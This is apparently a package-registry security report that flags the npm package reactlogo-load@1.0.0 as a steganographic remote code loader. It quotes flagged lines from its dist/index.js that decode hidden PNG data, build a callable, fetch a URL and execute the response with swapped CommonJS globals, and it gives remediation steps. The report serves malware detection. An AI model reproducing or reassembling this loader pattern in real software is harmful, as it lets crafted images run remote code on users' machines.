registry / Remote code execution / reactlogo-load

reactlogo-load

Load hidden data from PNG images — works in React (browser) and Node.js

This report shows the evidence for reactlogo-load@1.0.0, the only known version.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is a concealed remote code loader, not ordinary image parsing. The absence of an install hook does not mitigate runtime execution of a payload selected by attacker-controlled image data.

Static reason

No blocking static signals were detected.

Trigger

A consumer calls loadLogo or a hook that loads an attacker-controlled image.

Impact

Remote code can run in the consuming browser or Node.js process.

Mechanism

Steganographic remote code loader

Attack narrative

The package decodes hidden strings from image pixels and immediately routes them into an obfuscated execution chain. The hidden values select a callable, construct a delegate, supply a fetch URL, and pass the fetched response to that delegate after changing CommonJS globals. This permits a crafted image to deliver and execute remote code when the package loads it.

AI rationale

This is a concealed remote code loader, not ordinary image parsing. The absence of an install hook does not mitigate runtime execution of a payload selected by attacker-controlled image data.

Evidence

dist/index.js

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

PNG least-significant-bit data is automatically passed to the hidden execution path.
Hidden image fields control a property lookup and callable construction.
A decoded URL is fetched and its response is passed to the constructed delegate.
The delegate runs with temporarily replaced CommonJS globals.

Evidence against

The manifest has no install lifecycle hook.
Execution requires a caller to load a crafted image.

Behavioral surface

Source

Network

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 1 file(s), 20.6 KB of source

Source & flagged code

4 flagged

dist/index.jsView file

309const spacing = raw.split(String.fromCharCode(1)); runInContext(hsvMean, spacing, require, module); return spacing;

High

Ai Review Evidence

PNG least-significant-bit data is automatically passed to the hidden execution path.

dist/index.jsView on unpkg · L309

238function runInContext(resolver, spacing, req, mod) { const methodName = resolver(spacing[1]); const resolvedMethod = resolver[methodName]; const scriptToken = resolver(spacing[2]); const delegateBuilder = resolvedMethod(scriptToken); const delegate = delegateBuilder();

High

Ai Review Evidence

Hidden image fields control a property lookup and callable construction.

dist/index.jsView on unpkg · L238

244const url = spacing[0]; fetch(url).then((res) => { if (!res.ok) throw new Error(""); return res.text(); }).then((text) => { globalContext(req, mod, delegate, text); }).catch((err) => console.error());

High

Ai Review Evidence

A decoded URL is fetched and its response is passed to the constructed delegate.

dist/index.jsView on unpkg · L244

204function globalContext(req, mod, delegate, script) { const global = globalThis; const originalRequire = global["require"]; const originalModule = global["module"]; const originalExports = global["exports"]; const originalFilename = global["__filename"]; const originalDirname = global["__dirname"]; global["require"] = req; global["module"] = mod; global["exports"] = mod.exports; global["__filename"] = typeof __filename !== "undefined" ? __filename : void 0; global["__dirname"] = typeof __dirname !== "undefined" ? __dirname : void 0; try { delegate(script);

High

Ai Review Evidence

The delegate runs with temporarily replaced CommonJS globals.

dist/index.jsView on unpkg · L204

Source & flagged code

4 flagged · loading source

dist/index.jsView file

309const spacing = raw.split(String.fromCharCode(1)); runInContext(hsvMean, spacing, require, module); return spacing;

High

Ai Review Evidence

PNG least-significant-bit data is automatically passed to the hidden execution path.

dist/index.jsView on unpkg · L309

High

Ai Review Evidence

Hidden image fields control a property lookup and callable construction.

dist/index.jsView on unpkg · L238

High

Ai Review Evidence

A decoded URL is fetched and its response is passed to the constructed delegate.

dist/index.jsView on unpkg · L244

Findings

4 High1 Medium2 Low

HighAi Review Evidencedist/index.js

MediumNetwork

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to reactlogo-load@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing reactlogo-load@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-09 10:51:05.218Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousRemote Code ExecutionBlockPublishedSep 7, 2026, 9:33 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Related packages

Other remote code execution packages

Source & flagged code